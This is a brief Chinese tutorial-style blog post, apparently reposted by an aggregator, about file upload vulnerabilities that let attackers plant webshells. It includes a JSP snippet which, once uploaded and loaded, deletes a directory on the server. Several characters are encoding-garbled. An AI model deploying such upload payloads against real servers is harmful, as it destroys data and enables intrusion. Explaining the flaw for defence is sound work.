上傳文件漏洞

漏洞描述

上傳漏洞這個顧名思義，就是攻擊者通過上傳木馬文件，直接得到WEBSHELL，危害等級超級高，現(xiàn)在的入侵中上傳漏洞也是常見的漏洞。

?導致該漏洞的原因在于代碼作者沒有對訪客提交的數(shù)據(jù)進行檢驗或者過濾不嚴，可以直接提交修改過的數(shù)據(jù)繞過擴展名的檢驗。

漏洞危害

1）可以得到WEBSHELL

2）上傳木馬文件，可以導致系統(tǒng)癱瘓

Tomcat虛擬地址:

F:\learn2019-11-16\.metadata\.plugins\org.eclipse.wst.server.core\tmp0\wtpwebapps\tomcat_web

?

<%@page import="java.io.File"%> <%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%> <%String root ="F:\\learn";File file = new File(root);file.delete(); %>

?

超強干貨來襲 云風專訪：近40年碼齡，通宵達旦的技術人生

總結

以上是生活随笔為你收集整理的上传文件漏洞案例分析的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內容還不錯，歡迎將生活随笔推薦給好友。